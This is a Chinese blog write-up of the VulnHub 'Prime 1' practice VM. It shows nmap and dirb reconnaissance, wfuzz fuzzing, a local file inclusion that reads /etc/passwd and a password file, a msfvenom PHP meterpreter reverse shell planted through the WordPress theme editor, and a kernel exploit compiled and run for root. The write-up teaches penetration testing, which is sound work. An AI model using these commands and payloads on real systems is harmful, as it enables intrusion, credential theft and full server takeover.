首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

VulnHub | Prime - 1

  • 25-02-20 15:00
  • 4291
  • 12683
blog.csdn.net

https://vulnhub.com/entry/prime-1,358/https://vulnhub.com/entry/prime-1,358/https://vulnhub.com/entry/prime-1,358/

0x01:靶场简介

Prime 1 是 VulHub 中的一台用于 OSCP 考试练习的靶机。通过本靶机,我们可以系统的了解的渗透测试的全流程。本靶机的通关目标如下:

  1. Get The User Flag => 拿到用户级别的 Flag。

  2. Get The Root Flag => 拿到管理员级别的 Flag。

通过本靶场你可以学习到如下知识点:

  1. 信息收集 => 主机发现、端口扫描、目录扫描、Fuzz、LFI(本地文件包含漏洞)

  2. 漏洞挖掘 => WordPress 漏洞扫描

  3. 后台入侵 => WordPress 后台入侵

  4. Linux 内核提权

靶场的搭建很简单,从下面的链接将靶机下载下来后解压,然后通过 Vmware 打开即可:

Download:https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

0x02:渗透流程

0x0201:信息收集 - 主机发现

将 Prime1 靶机下载好后,其界面显示如下,可以看到用户描述部分有一个小提示 “find password.txt in my directory” OK,这里是个小细节吧。当然,现在作为攻击者的你是不知道这个小提示的:

渗透测试第一步,就是收集被攻击方的信息,为我们后续的渗透方向做指导,当然,第一步,是先看一下自己的 IP,知道自己在哪:

 ip address # 查看本机 IP 信息

如上,攻击机 Kali (VMWare 中的一台虚拟机)的 IP 是 192.168.0.100。

接下来,我们使用 Nmap 这款工具来扫描一下内网存活的主机:

 nmap -sP 192.168.0.0/24 # 使用 Ping 扫描探测 192.168.0.0 这个网段存活的主机

下面我们分析一下结果,Nmap 使用 Ping 扫描获取到了 192.168.0.0 这个网段中目前有 5 台机器是存活的:

  • 192.168.0.1 => 这个是我真实的物理机

  • 192.168.0.2 => 这个是 VMware 默认的网关地址

  • 192.168.0.106 => 用户机/服务器(靶机)

  • 192.168.0.254 => 这个笔者也不知道是啥

  • 192.168.0.100 => 本机的 IP 地址(Kali 攻击机)

拓展:Nmap 底层原理分析 - nmap -sP

笔者在使用 Nmap 的时候,在我的物理机上开启的 WireShark 抓包,抓到了如下数据包:

可以看到,WireShark 抓到了一堆 ARP (将 IP 地址转化为 Mac 地址的一个协议)请求包,我们主要关注 Info 中的信息:

  • Who has 192.168.0.1?Tell 192.168.0.100

    • 翻译:谁有 192.168.0.1 的 Mac 地址,请告诉 192.168.0.100

  • 192.168.0.1 is at 00:50:56:c0:00:08

    • 翻译:192.168.0.1 的 Mac 地址是 00:50:56:c0:00:08

从抓包中可以看出,192.168.0.100 这个 IP(攻击者)正在通过 ARP 协议借着询问 Mac 地址的名义,探测谁还在线,比如 192.68.0.1 就回复了攻击者自己的 Mac 地址,攻击者就知道,哦,它小子在线。这就是所谓的“醉翁之意不在酒”。

同时,我们也可以了解到 -sP 本来应该是做 Ping 扫描的,使用的应该是 ICMP 协议。但是对于局域网,Nmap 很巧妙的使用了 ARP 协议来代替 ICMP 协议来进行内网的主机探测。

如上,我们成功通过 Nmap 获得了局域网中主机的存活信息,并确定了靶机的地址。

0x0202:信息收集 - 端口扫描

确定了靶机的地址后,接下来我们就要去识别靶机开放的服务,即端口。使用如下命令,扫描靶机的所有端口:

 nmap -p 0-65535 -A 192.168.0.106

拓展:Nmap 底层原理分析 - -p -A

Nmap 的 -p 用于指定探测的端口范围,-A 代表启用版本探测和操作系统信息探测。

如下,是笔者在 Kali 中使用 nmap -p 0-65535 -A 192.168.0.106 然后通过 WireShark 在物理机(192.168.0.1)中抓的包:

可以看到攻击机发了一连串的 TCP 包给靶机,如果你挨个查看其 TCP 层的端口,可以发现,每个包的目的端口(Dst Port)都不同,而且还是乱着的,不是按照 1,2,3,4 这种需要请求的(这个是 Nmap 的混淆机制)。

我们在选项中还启用了 -A,Nmap 还会自动探测目标服务的版本信息和操作系统信息。但这个选项有的小问题,会留下马脚,我们搜索 nmap:

可以发现,Nmap 在探测目标服务信息的时候,携带的 User-Agent 明显带有 nmap 的独特标记。所以呐,真实渗透的时候记得自己对 Nmap 进行一下流量混淆,这些太明显的特征还是不要留下比较好。

如上,Nmap 识别出来了目标的 22 和 80 端口处于开放状态,并且还识别出来了目标的服务版本,那么接下来,我们可以针对这开放的两个服务展开攻击。

  • 针对 22 端口 SSH 服务:可以尝试使用 Hydra 进行暴力猜解,然后登录目标服务器。

  • 针对 80 端口 Web 服务:常规的 Web 漏洞挖掘然后看看能不能进后台拿到 Shell。

0x0203:Web 渗透 - 信息收集

已知靶机开放了 80 端口,我们直接通过浏览器访问,看看目标有啥服务:

如图,就一张图片啥也没,查看页面源码也非常的干净:

既然从根目录无法 GET 任何有效信息,那我们就自己拓展目标的攻击面。

0x0204:Web 渗透 - 目录扫描

Web 渗透中扩大攻击面的方式之一就是目录扫描,输入下面的命令,通过 dirb 对目标进行目录扫描:

 dirb http://192.168.0.106

整合一下收集的目录信息(省略一些没用的东西):

  1.  ---- Scanning URL: http://192.168.0.106/ ----
  2.  + http://192.168.0.106/dev (CODE:200|SIZE:131)                                    
  3.  + http://192.168.0.106/index.php (CODE:200|SIZE:136)                                                          
  4.  ==> DIRECTORY: http://192.168.0.106/wordpress/
  5.  ---- Entering directory: http://192.168.0.106/wordpress/wp-content/ ----
  6.  + http://192.168.0.106/wordpress/wp-content/index.php (CODE:200|SIZE:0)  

如上,扫描到了几个目录和一些文件,重要的是 /wordpress/ 这个目录,证明目标的 Web 采用了 WordPress 这一 CMS 框架,我们访问看看:

可以看到,是一个初始的 WordPress 界面。如果你搭建过 WordPress 就会知道,WordPress 会以用户身份自动发布一篇 Hello World 的文章,所以从上面我们可以知道该 WordPress 中存在一个叫 victor 的用户。

出了扫描到了 wordpress 目录,还扫到了一个 /dev 的目录,访问看看,啥也不是:

第一轮目录扫描,我们收集到了一个 wordpress 用户名,但是没啥用(当然,你可以去 wordpress 的登录页面尝试爆破密码)。

下面,我们指定扫描的扩展名,再扫一遍:

 dirb http://192.168.0.106/ -X .txt, .php, .zip # 指定扩展名扫描

如上,成功出货,我们先访问 secret.txt 看看:

他说,它想帮助我,叫我们对我们找到的 php 页面做更多的 Fuzz(模糊测试),并提供了一个参考的链接。这个链接是关于 wfuzz 这款 Fuzz 工具的简介(感兴趣的可以看看)。然后它末尾还有一个备注(提示,暂时不知道有啥用,直接访问 location.txt 是 Not Found):

 //see the location.txt and you will get your next move//

0x0205:Web 渗透 - Fuzz 测试

Fuzz 即模糊测试,可以用来测试接口的隐藏参数,也可以用来挖掘隐藏的目录。

输入下面的命令,针对我们之前收集到的 index.php 做接口参数的 Fuzz:

  1.  wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.0.106/index.php?FUZZ=123
  2.  ​
  3.  # -w <字典路径> => 指定 Fuzz 测试的字典文件
  4.  # ?FUZZ=123 => wfuzz 会使用字典中的内容替换 FUZZ 占位字段

如上,返回的结果中 Chars 为 136 Ch 的非常多。模糊测试本就是对目标参数进行爆破,失败的情况占绝大多数,因此所有 Chars 列为 136 Ch 的结果的 Payload 应该都是失败的。 对于这些结果,我们并不关心,所以我们可以使用如下 Payload 对结果进行过滤:

 wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.0.106/index.php?FUZZ=123

如上,成功得到一个 file 参数。此时,懂 Web 攻防的宝子估计就会联想到本地文件包含漏洞了(基础知识哈),我们访问 index.php 并携带上该参数,包含一下 index.php 看看:

如上,显示我们挖掘了错误的文件,此时联想一下我们从 secret.txt 得到的提示,我们尝试包含 location.txt 看看:

成功拿到提示,它叫我们携带 secrettier360 这个参数去访问其他的 php 页面来尝试获得更多的信息。我们总共就找到了两个 PHP 页面,一个 index.php 另外一个就是 image.php,我们携带这个参数去访问看看:

它提示我们拿到了正确的参数,但是我们没有获得想要的结果。修改参数,我们传入 ?secrettier360=index.php 尝试包含 index.php 的内容(其实就是测试看看这个功能点是不是文件包含漏洞):

如上,它成功包含了 index.php 中的页面,证明文件包含漏洞的存在,那么接下来就是漏洞利用了。

0x0206:Web 渗透 - LFI 漏洞利用

我们成功找到一个本地文件包含的漏洞点。接下来,我们尝试用该漏洞拿到服务器的权限,首先尝试读取 /etc/password (该文件中存放了系统中的每个用户信息,且默认是任意用户都可读的)中的内容:

 ?secrettier360=../../../../../../../etc/passwd

如上,成功读取到 /etc/passwd 中的内容,以下是获得的关键信息(笔者排除了一些 /nologin 的信息,就是没有远程登录权限的账户):

  1.  sync:x:4:65534:sync:/bin:/bin/sync
  2.  victor:x:1000:1000:victor,,,:/home/victor:/bin/bash
  3.  saket:x:1001:1001:find password.txt file in my directory:/home/saket:

以上三个用户支持远程登录,victor 这个用户回看目录扫描部分,wordpress 中就有这个用户。saket 它有一个提示,叫我们在它的用户主目录下找 password.txt 这个文件,说找就找:

 ?secrettier360=../../../../../../../home/saket/password.txt

成功拿到 password.txt 中的信息 follow_the_ippsec,结合文件名,笔者推测这是某个用户的登录密码。

我们再尝试读取 /etc/shadow (这个里面存放了服务器用户的密码)这个文件看看:

很可惜,没能 GET 到。那么现在目光回看到 password.txt 这个拿到的密码,它会是啥的密码呢?

整合一下目前已经收集到的信息:

  • wordpress 系统中存在的用户:victor

  • ssh 中可以进行登录的用户:sync、victor、saket

一个个试呗,访问 wordpress 的登录地址(这个一般都是默认的),使用 saket : follow_the_ippsec 尝试登录(毕竟这个密码是在 saket 的主目录发现的),结果发现登录失败:

然后使用 victor : follow_the_ippsec 尝试登录:

如上,成功进入 WordPress 后台管理页面,进入 WordPress 后台管理页面后还没完呢,我们接下里就是尝试利用 WordPress 漏洞拿到靶机的 Shell。

0x0207:WordPress 渗透 - WordPress 漏洞扫描

WordPress 是一款老牌 CMS 系统,很多在线的个人博客站点都会采用该模板进行搭建。也因为它的广泛性,所以很多人会挖它的漏洞,自然而然也会有很多自动化的漏洞测试工具。

不过在使用工具前,笔者还是提一嘴,如果没有这些漏扫工具,你会从哪些方面来尝试挖掘 WordPress 的漏洞?以下是笔者提供的几个思路:

  • WordPress 产品本身漏洞

  • WordPress 第三方插件漏洞

  • WordPress 主题漏洞(很多人不懂博客美化,自然就有人提供主题)

对于 WordPress 的漏洞扫描,你可以从网上搜历史的漏洞,然后用那些 POC 来打,当然也可以用 CMSeek 这款工具来进行一个自动化的扫描。

CMSeek 本来是做 CMS 指纹识别的,但其内部也包含了一些漏洞探测的功能,非常强大。输入下面的命令,使用 CMSeek 来对 WordPress 进行漏洞扫描:

 cmseek -u http://192.168.0.106/wordpress/

OK,啥也没扫出来,不过它扫出来了目标的 WordPress 的版本和当前正在使用的主题。

除了利用现成的漏洞,我们其实还有一个思路,就是利用 WordPress 的主题编辑功能。如果你使用过 WordPress 的话,就会知道,WordPress 其实提供了一个主题编辑器,用户可以自由的往里面写入 PHP 代码或者 HTML 这些东西,能写入代码,我写个反弹链接的后门不就可以咯(拓展一下,除了通过主题编辑器直接嵌入后门代码,我们还可以自定义上传插件,往插件中写入后门木马也是可以拿到 Shell 的)。

0x0208:WordPress 渗透 - 主题编辑器写入后门反弹链接

进入 WordPress 管理后台后,点击 Appearance 然后选择 Theme Editor,如下图,即可看到一个可以编辑代码的地方,这里就是 WordPress 的主题编辑器:

不过很明显,我们当前的用户并没有权限对上面这个文件进行编辑,不然的话,它其实会显示一个 upload 的按钮。

不过先不要灰心,往下找找,看看能不能找到一个我们有权限上传的文件。

如图,成功找到一个有 update 权限的文件(secret.php):

那么接下来,我们就是往里头写入后门文件,然后尝试拿到目标主机的控制权。这里我们当然可以写入一句话木马,做正向连接。但是笔者更倾向于去做反弹连接,因为正向连接很容易会被防火墙拦截,而反弹连接(让被害机主动连接上你的攻击机)适应性则更好。

既然是做反弹连接,我们就得有代码,在 Kali 中输入如下命令,生成 PHP 反弹链接的后门代码:

  1.  msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.100 lport=7777 -o shell.php
  2.  ​
  3.  # -p php/meterpreter/reverse_tcp => 指定生成反弹链接的代码 Payload 模板
  4.  # lhost=192.168.0.100 => 这个是接收反弹链接的机子的 IP,即攻击机 IP
  5.  # lport=7777         => 这个是接收反弹链接的端口,即攻击机监听端口

将这串代码复制到 WordPress 的主题编辑器中并点击 Update File:

如上,我们已经成功将反弹链接的后门代码植入到目标系统了。那么下一步就是在本地执行监听程序,然后访问存储后门代码的页面,让后门代码执行,将靶机的 Shell 反弹到我们攻击机上。

在 Kali 上依次输入以下命令,使用 MSF 启动监听程序:

  1.  msfconsole # 启动 MSF
  2.  use exploit/multi/handler # 使用监听模块
  3.  set payload php/meterpreter/reverse_tcp # 设置监听模块的 Payload(此处需要与你的木马程序对应)
  4.  show options # 查看该 Payload 需要设置的内容
  5.  set LHOST 192.168.0.100 # 设置监听的主机 IP(攻击机 IP)
  6.  set LPORT 7777 # 设置监听的本机端口(反弹连接连接的端口),这里也要与木马程序对应
  7.  run # 运行监听程序

至此,我们已经在本地搭建好了监听模块了。那么下一步,就是确定靶机后门程序路径了:

路径怎么找,去 WordPress 官网下一个同样版本的程序回来研究一下不就好咯。首先查看一下目标当前的 WordPress 版本信息:

然后去下面这个位置下载一个对应版本的 WordPress 的源码包:

发行版本归档 – WordPress.org China 简体中文Releases This is an archive of every recorded release t […]https://cn.wordpress.org/download/releases/#branch-52https://cn.wordpress.org/download/releases/#branch-52

去源码包中定位 Twenty Nineteen 主题路径:

如上,成功获得 twentynineteen 这一主题相对于 wordpress 主页的路径:

 wordpress\wp-content\themes\twentynineteen

再结合我们之前是把反弹链接的代码写到了 twentynineteen 这一主题下的 secret.php 中,所以我们应该访问的靶机后门路径为:

 wordpress/wp-content/themes/twentynineteen/secret.php

如上攻击机已经成功拿到了靶机的 Shell 了。

0x0209:后渗透 - 用户 Flag 获取

在靶场简介中我们写到了,本靶机的通关有两个条件,一个是用户级别 Flag 的获取,一个是 Root 级别 Flag 的获取(其实也就是对应了我们渗透拿到的权限的等级)。

我们首先来看看用户级别的 Flag,利用拿到的 meterpreter shell 看看我们当前的权限:

 getuid # 查看当前用户名称

如上,一看就是一个小用户的权限。

我们要拿到用户级别的 Flag,众所周知,Linux 中所有普通用户的主目录都在 /home 下,输入下面的命令查看 /home 下的内容,看看有几个有主目录的用户:

 ls /home

如上,发现 /home 目录下有 saket 和 victor 两个用户,观察目录权限:

  1.  040755/rwxr-xr-x  4096 dir   2019-08-31 06:15:38 -0400 saket
  2.  # saket 目录权限: rwx r-x r-x 从左到右依次为 所有者、所属组、其他用户 的对应权限
  3.  040751/rwxr-x--x  4096 dir   2019-09-01 03:47:29 -0400 victor

如上,可以分辨出,针对 saket 用户的主目录,其他用户拥有可读和可执行的权限,而针对 victor 用户的主目录,其他用户连读都不可以。

所以我们先来看看 saket 这个用户主目录下有啥东西:

 ls /home/saket

哎嘿,出货了,password.txt 和 user.txt,而且其他用户都是可以读取的,我们读取看看:

如上,password.txt 是我们利用文件包含漏洞拿到的 victor 用户的 wordpress 密码文件。user.txt 应该就是我们要拿到的用户 Flag 了,至此,一阶段完成。

0x0210:后渗透 - Linux 内核漏洞提权

拿到了用户 Flag 了,下一步就是尝试获取 Root 级别的 Flag 了,不用想,肯定是在 /root 目录下(root 用户的主目录),针对这个目录,我们普通的小角色肯定无法读取,所以我们就得想办法进行提权。

首先查看一下目标服务器的版本信息:

 sysinfo # 查看靶机的版本信息

定位关键信息:ubuntu 4.10.0-28

然后我们去本地搜索看看有没有对应版本的 ubuntu 内核提权脚本:

 searchsploit ubuntu 4.10.0-28

如上,第二个脚本标识有 "Local Privilege Escalation" 即本地权限升级。其适用的内核小于 4.13.9 然后适用的系统正好也是 ubuntu 16.04。输入下面的命令将这个 45010.c 脚本导出来看看:

 searchsploit -m 45010.c

我们来看看这个脚本中的内容:

使用还是比较容易的,那么下一步我们使用 meterpreter 将这个提权脚本丢到靶机中:

  1.  upload /home/kali/Desktop/45010.c /tmp/ # 将本地 45010.c 脚本上传到靶机 /tmp 目录下
  2.  ​
  3.  # 上传到 /tmp 目录下是因为该目录任何人都拥有读写权限

然后我们利用 meterpreter 启动一个交互式的 shell 进入 tmp 目录并尝试编译 45010.c 程序:

  1.  shell # 启动交互式的 shell
  2.  cd /tmp # 进入 tmp 路径
  3.  ls # 查看当前目录下的内容

输入下面的命令编译 45010.c 文件:

  1.  gcc 45010.c -o 45010 # 编译 45010.c 文件,输出的文件名为 45010(这个可以自定义)    
  2.  chmod +x 45010 # 为 45010 (编译后的可执行文件)添加可执行权限

然后输入下面的命令运行编译后的程序:

  1.  ./45010 # 运行提权脚本
  2.  whoami # 查看当前权限

如上,我们成功拿到了 root 的权限,提权成功。

0x0211:后渗透 - Root Flag 获取

拿到了 Root 权限后我们来看看 root 用户的主目录有没有 Flag:

  1.  ls /root # 查看 root 用户主目录下的内容
  2.  cat /root/root.txt # 查看 root 用户的 Flag

如上,成功拿到 root 用户的 Flag。至此,本靶机被打穿,GG。

0x03:参考链接

红队打靶:Prime1详细打靶思路之模糊测试+内核提权(vulnhub)_prime1靶机-CSDN博客文章浏览阅读2.2k次,点赞4次,收藏8次。本篇博客详述了vulnhub靶机prime1的打靶思路过程,并非简单复现writeup。打靶过程涉及到关于模糊测试及wfuzz工具的使用、文件包含漏洞利用、wordpress CMS、内核漏洞提权。有关OpenSSH渗透的方法将在下一篇博客中详述。_prime1靶机http://iyenn.com/rec/1669428.htmlhttp://iyenn.com/rec/1669428.html
linux下的/etc/passwd详解 - 进击的davis - 博客园在Linux /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。 类似于下面的例子: 从上面的例子我们可以看到,/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其https://www.cnblogs.com/davis12/p/14373311.htmlhttps://www.cnblogs.com/davis12/p/14373311.html
使用MSF生成各种Payload - lyshark - 博客园Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff'https://www.cnblogs.com/LyShark/p/10564077.htmlhttps://www.cnblogs.com/LyShark/p/10564077.html
破解shadow密码 - 小阿辉谈安全 - 博客园当通过任意文件下载或者目录穿越读取或下载/etc/shadow文件时,可以通过john对加密的密码进行破解https://www.cnblogs.com/hgschool/p/17070890.htmlhttps://www.cnblogs.com/hgschool/p/17070890.html
Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145456948"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top